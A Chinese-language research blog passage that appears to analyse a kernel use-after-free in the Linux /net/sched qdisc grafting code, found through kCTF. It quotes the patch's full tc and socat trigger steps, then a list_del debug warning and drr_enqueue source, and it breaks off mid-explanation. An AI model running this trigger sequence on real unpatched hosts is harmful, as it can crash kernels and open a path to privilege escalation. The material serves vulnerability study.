背景
今年我专注于技术发展,其中一部分工作是评审kCTF提交的漏洞。这帮助我了解当前项目中哪些子系统产生的漏洞最多,同时让我及时掌握需要关注的错误模式。我还可以毫不客气地窃取玩家的利用技术。
最近很多漏洞来自/net/sched
子系统,因此我正在查看该子系统的补丁,发现一个声称存在可利用UAF的补丁。当时我没有意识到,补丁中提到的漏洞发现者(推测也是利用者)“Lion Ackermann"是kCTF的参赛者。
检查后发现,当我找到这个补丁时,kCTF中的COS 105实例仍然存在这个漏洞。我当时停止了研究,但后来了解到LTS实例也同样存在漏洞。虽然不清楚具体规则,但根据公开的kCTF响应表格,这个漏洞在12月被作为0day利用提交。然而当我开始研究时,表格中还没有这个漏洞的补丁链接,实例仍然未打补丁。
此时我开始尝试理解这个漏洞并可能利用它。我的目标是通过1day提交来填补COS 105实例的补丁间隙。开始调查后不久,宣布了新版本发布,但幸运的是新实例同样存在漏洞,因为它们也没有打补丁。由于COS 105位置未被利用,且即将推出的COS 105实例也会存在漏洞,我错误地认为不需要着急,因为实例可能在我慢慢研究期间保持未被利用状态。事后看来,我应该更努力地工作,因为COS 105实例在我完成前几小时被利用了。不过这可能已经无关紧要,因为这个漏洞之前已经在项目中作为0day被利用过,对此仍不确定。无论如何,我遇到了一些自己造成的障碍,严重阻碍了进展,后面会详细讨论。下次我会更努力,投入更多时间,而不是只在晚上零散工作几小时。
补丁分析
补丁文本描述非常详细,并提供了很好的概念验证来复现错误条件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
net: sched: 禁止将子qdisc从一个父节点替换到另一个
Lion Ackermann能够创建可被滥用于权限提升的UAF,使用以下脚本:
步骤1. 创建根qdisc
tc qdisc add dev lo root handle 1:0 drr
步骤2. 用于数据包聚合的类,用于演示uaf
tc class add dev lo classid 1:1 drr
步骤3. 用于嵌套的类
tc class add dev lo classid 1:2 drr
步骤4. 用于嫁接qdisc的类
tc class add dev lo classid 1:3 drr
步骤5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
步骤6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
步骤7.
tc class add dev lo classid 3:1 drr
步骤8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
步骤9. 显示类/qdisc布局
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
步骤10. 触发漏洞 <=== 被此补丁阻止
tc qdisc replace dev lo parent 1:3 handle 4:0
步骤11. 重新显示qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
观察到:a) 尽管有替换请求,4:0的父节点没有改变。只能有一个父节点。
b) 4:0的引用计数增加了2 c) 类1:3和3:1都指向它。
步骤12. 发送一个数据包到plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
步骤13. 发送一个数据包到嫁接的fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
步骤14. 触发uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
"replace"的语义是在同一节点上进行删除/添加操作,而不是像步骤10中那样从一个节点(3:1)删除并添加到另一个节点(1:3)。
虽然我们可以用更复杂的方法"修复",但可能会对预期产生影响,因此补丁采取了预防性方法"禁止此类配置"。
|
这里的漏洞是qdisc可以被"重新父级化"到一个不是其原始父级的类。这种逻辑不是设计意图。当你创建这些可以附加qdisc的类时,会分配一个默认qdisc,之后你可以嫁接一个新的qdisc到类上来替换当前的qdisc。所以你可以看到类1:3首先被创建,然后我们在步骤8中嫁接一个qdisc到它上面。这将释放默认qdisc并实例化这个qdisc来代替它,并将其附加到类上。
然而,这个漏洞允许你通过使用我们在3:1上使用的相同嫁接机制,将同一个qdisc(句柄4:0)嫁接到不同的类上。补丁指出了这个漏洞的副作用基本上是:
- 从qdisc 4:0的角度来看,它的父节点仍然是类3:1,这从未改变
- 从类3:1的角度来看,qdisc 4:0仍然是它的子qdisc
- 从类1:3的角度来看,qdisc 4:0现在是它的子qdisc
- qdisc上的引用计数现在是2:1来自最初嫁接到3:1,另1来自重新父级嫁接到1:3
这些就是漏洞产生的副作用。此时,我对/net/sched
、类、qdisc等一无所知,所以在这个过程中学习曲线很陡峭。我一生中从未处理过这个子系统。但经过大量谷歌搜索和ChatGPT使用,我能够按照补丁中的说明使用tc工具复现PoC。我完成了所有步骤,当到达步骤14该触发UAF时,在删除类1:3后得到了以下错误信息:
1
2
3
4
|
[ 10.519000] ------------[ cut here ]------------
[ 10.521778] list_del corruption, ffff8fdd50a008d0->next is NULL
[ 10.525296] WARNING: CPU: 0 PID: 784 at lib/list_debug.c:49 __list_del_entry_valid+0x59/0xd0
...
|
此时我很兴奋,以为我已经重现了漏洞并导致了UAF,很快就能寻找利用漏洞的方法;然而我大错特错。所有这些错误信息只是一个警告,表明有一个无效的list_del操作。在我的开发环境中,这足以导致内核恐慌。我启用了KASAN,如果有UAF,我会看到不同的错误信息,所以现在我很困惑。进一步检查发现,我甚至没有达到PoC中删除类1:1的步骤,那么发生了什么?为什么我的PoC在这个list_del操作处停止?是时候深入研究细节了。
列表错误分析
首先,为什么我们会遇到错误的list_del操作?我们对这个漏洞或子系统还知之甚少。我基本上只是重现了补丁中的PoC,几乎没有进行任何批判性思考。经过大量printk调试,我终于找到了无效list_del的来源。
首先,为什么list_del会报错?原来常见的内核配置是CONFIG_DEBUG_LIST,它将列表操作API(如list_del)转换为更谨慎的版本。list_del的工作是从链表中移除一个list_head节点。如果你能可视化内核中的链表,它本质上是一个节点列表。每个节点包含prev和next指针,分别引用列表中的前一个和下一个节点。调试列表配置有一些健全性检查,确保当你从列表中移除节点时,节点本身没有损坏。
当我们删除类1:3时,在这个过程中发生了某些事情,我们最终来到这里:
1
2
3
4
5
6
7
|
static inline void __list_del_entry(struct list_head *entry)
{
if (!__list_del_entry_valid(entry))
return;
__list_del(entry->prev, entry->next);
}
|
似乎在__list_del_entry_valid
检查中出了问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
static __always_inline bool __list_del_entry_valid(struct list_head *entry)
{
bool ret = true;
if (!IS_ENABLED(CONFIG_DEBUG_LIST)) {
struct list_head *prev = entry->prev;
struct list_head *next = entry->next;
if (likely(prev->next == entry && next->prev == entry))
return true;
ret = false;
}
ret &= __list_del_entry_valid_or_report(entry);
return ret;
}
|
这又调用了__list_del_entry_valid_or_report
,因为我们确实启用了CONFIG_DEBUG_LIST:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
bool __list_del_entry_valid_or_report(struct list_head *entry)
{
struct list_head *prev, *next;
prev = entry->prev;
next = entry->next;
if (CHECK_DATA_CORRUPTION(next == NULL,
"list_del corruption, %px->next is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(prev == NULL,
"list_del corruption, %px->prev is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(next == LIST_POISON1,
"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
entry, LIST_POISON1) ||
CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
entry, LIST_POISON2) ||
CHECK_DATA_CORRUPTION(prev->next != entry,
"list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
entry, prev->next, prev) ||
CHECK_DATA_CORRUPTION(next->prev != entry,
"list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
entry, next->prev, next))
return false;
return true;
}
|
那么发生了什么?我们对/net/sched
代码还不太了解,但似乎因为我们有CONFIG_DEBUG_LIST,所以对我们想要从列表中移除的节点有一个检查。如果你有以下链表:
列表中的每个节点都会指向它的邻居,例如,对于节点D,它的prev字段会有节点C,next字段会有节点A,因为列表是循环的。这里的有效性检查确保,如果你想删除节点D,节点C说它的下一个节点是D,节点A说它的前一个节点是D。这很合理。
但在我们的list_del WARN()横幅中,我们看到这个函数返回false,因为"list_del corruption, ffff8fdd50a008d0->next is NULL”。所以我们甚至不能检查相邻节点的健全性,因为我们的节点D甚至没有next字段值,它是NULL。
好的,所以我们在这个list_del上失败了,PoC就在这里停止了,因为当我们删除类1:3时,在/net/sched
中某个时候提交删除的list_head要么已损坏,要么从未初始化。现在让我们弄清楚当这个漏洞发生时/net/sched
中发生了什么,看看是否能弄清楚发生了什么。
Sched漏洞分析
深入研究/net/sched
代码后,清楚了为什么我们要删除的节点处于错误状态。在PoC中,我们创建了一个类1:1并为其分配了一个plug类型的qdisc。plug qdisc旨在字面上停止数据包出队,直到收到明确的释放命令或删除,它用数据包堵塞qdisc,因为它们被"入队"。所以如果我们发送一个数据包到类1:1,该数据包将被入队到1:1的qdisc中,这是一个plug类型,意味着这些数据包将停留在那里,直到我们明确要求它们。
此时很清楚,出于某种原因,确保数据包保持在plug qdisc中对PoC至关重要。但我们错误的list_head节点呢?很明显,在我们将数据包发送到类1:1和plug qdisc后,我们发送一个数据包到1:3。类1:3是当我们执行重新父级漏洞时,将已存在的pfifo qdisc从3:1嫁接到的类。让我们看看当我们将数据包发送到一个类时会发生什么,特别是类1:3:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct drr_sched *q = qdisc_priv(sch);
struct drr_class *cl;
int err = 0;
bool first;
cl = drr_classify(skb, sch, &err); // [1]
if (cl == NULL) {
if (err & __NET_XMIT_BYPASS)
qdisc_qstats_drop(sch);
__qdisc_drop(skb, to_free);
return err;
}
first = !cl->qdisc->q.qlen; // [2]
err = qdisc_enqueue(skb, cl->qdisc, to_free); // [3]
if (unlikely(err != NET_XMIT_SUCCESS)) {
if (net_xmit_drop_count(err)) {
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}
if (first) {
list_add_tail(&cl->alist, &q->active); // [4]
cl->deficit = cl->quantum;
}
sch->qstats.backlog += len;
sch->q.qlen++;
return err;
}
|
这里发生了几件重要的事情。我还没有提到这里的drr方面,它代表"Deficit Round Robin",这是用于确定在此PoC中数据包传递调度算法的类型。DRR算法的细节不是超级重要,但从我学到的高层次来看,它基本上跟踪当前哪些类是"活跃的",即有数据包入队到它们,并尝试基于可配置的"deficits"传递数据包。这样我们确保数据包以对我们作为最终用户有意义的方